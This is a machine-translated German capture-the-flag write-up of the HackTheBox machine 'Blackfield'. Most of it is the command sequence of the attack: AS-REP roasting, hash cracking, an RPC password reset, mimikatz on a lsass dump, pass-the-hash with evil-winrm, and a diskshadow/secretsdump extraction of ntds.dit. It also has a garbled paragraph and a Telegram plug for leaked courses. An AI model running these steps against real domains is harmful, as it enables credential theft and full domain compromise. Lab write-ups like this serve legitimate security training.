HackTheBox. Exemplarische Vorgehensweise Blackfield. Entführung des Domänencontrollers über SMB und RPC, LPE über Schattenkopie



Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .



In diesem Artikel werde ich ASRep Roasting verwenden, um Benutzer zu definieren, RPC, um Kennwörter zu ändern und ein Konto zu übernehmen, und dann unsere Berechtigungen mit einer NTDS.DIT-Schattenkopie erhöhen.



Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.



Organisationsinformationen
, , Telegram . , , .



. , - , .



Aufklärung



Dieser Computer hat eine IP-Adresse vom 10.10.10.192, die ich zu / etc / hosts hinzufüge.



10.10.10.192 	blackfield.htb


Der erste Schritt ist das Scannen offener Ports. Ich mache dies mit dem folgenden Skript, das ein Argument akzeptiert - die Adresse des zu scannenden Hosts:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1






Wir sehen viele offene Ports, aber wie üblich beginnen wir mit SMB. Mal sehen, ob wir etwas tun können, ohne uns anzumelden.



smbmap -u anonymous -H 10.10.10.192






Und die Verzeichnisprofile $ stehen zum Lesen zur Verfügung.



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2






Wir haben eine große Liste potenzieller Benutzer. Wir können überprüfen, welche Benutzer tatsächlich im System vorhanden sind. Tatsache ist, dass der Server während eines ASRep Roasting-Angriffs drei verschiedene Antworten hat:



  • Hash des Benutzerpassworts;
  • Für diesen Benutzer ist UAF Dont Require PreAuth nicht festgelegt.
  • Es gibt keinen solchen Benutzer in der Kerberos-Datenbank.


So können wir herausfinden, wer ist und wer nicht.



Einstiegspunkt



Lassen Sie uns zuerst eine Liste bekommen.



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt


Jetzt machen wir ASRep-Roasting.



GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt






Und ich war überrascht, als der Hash zu uns zurückgebracht wurde. Lass uns ihn grunzen.



john support.hash -w=./tools/rockyou.txt






Und wir haben ein ganzes kontrolliertes Konto. Lassen Sie uns jetzt mit enum4linux so viele Informationen wie möglich erhalten.



enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null






Wir werden eine riesige Liste von obskuren Benutzern bekommen, aber das Interessanteste ist die Gruppenmitgliedschaft. Dies zeigt uns, dass sich svc_backup in der RMU-Gruppe (RID: 580) befindet, die Remoteverbindungen mit Win-RM ermöglicht.



Wir können SMB nichts anderes abnehmen, aber wir finden nichts in LDAP. Aber wie sich herausstellte, gibt es in RPC einen Trick. Lassen Sie uns verbinden:



rpcclient 10.10.10.192 -U support






Tatsache ist, dass es möglich ist, das Passwort eines Benutzers mit den gleichen Berechtigungen zu ändern, alles wird hier ausführlich beschrieben . Und das habe ich für den Benutzer audit2020 geschafft.



setuserinfo2 audit2020 18 'ralf'






Jetzt beginnen wir von Anfang an mit der Analyse aller Ressourcen und Dienste, da wir ein anderes kontrolliertes Konto haben.



NUTZER



Wir gehen zu SMB.



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192






Es gibt viel zu lesen, es ist besser, den gesamten Inhalt rekursiv anzuzeigen und auf einmal anzuzeigen.



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R






Und im Ordner forensic \ memory_analysis finden wir anscheinend einen Speicherauszug des lsass-Prozesses. Und daraus können wir mit mimikatz Passwörter bekommen. Laden Sie diese Datei herunter.



smbclient.py blackfield.local/audit2020:ralf@10.10.10.192






Gehen wir jetzt zum Windows-Computer und verwenden Mimikatz.







Und da wir den Hash kennen und Evil-WinRM verwenden, stellen wir im Auftrag von svc_backup eine Verbindung her.



evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d






WURZEL



Sehen wir uns die Gruppen und Benutzerrechte an.







Wir haben das SeBackupPrivilege-Privileg. Dies gibt uns das Recht, eine Schattenkopie der NTDS-Datei zu erstellen, die viele Anmeldeinformationen enthält. Nachdem wir eine Kopie erstellt haben, können wir die erforderliche Datei nicht einfach extrahieren. Dafür benötigen wir folgende DLLs .



Lassen Sie uns eine Schattenkopie erstellen. Lassen Sie uns eine Datei mit dem folgenden Inhalt erstellen.



SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:


Und jetzt laden wir es hoch und laden die Bibliotheken auf den Host herunter.







Lassen Sie uns eine Schattenkopie durchführen.



diskshadow /s ds.txt










Und sichern Sie die Datei.



Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit






Diese Datei ist jedoch verschlüsselt, und um sie zu entschlüsseln, benötigen wir die SYSTEM-Datei, die kein Problem darstellt.



reg save HKLM\SYSTEM C:\Temp\SYSTEM






Laden Sie beide Dateien vom Computer herunter.







Und wir bekommen die Hashes mit Secretsdump aus dem Impacket-Paket.



secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL






Lassen Sie uns als Administrator verbinden.



evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee








Wir haben die vollständige Kontrolle über diese Maschine.



Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.



All Articles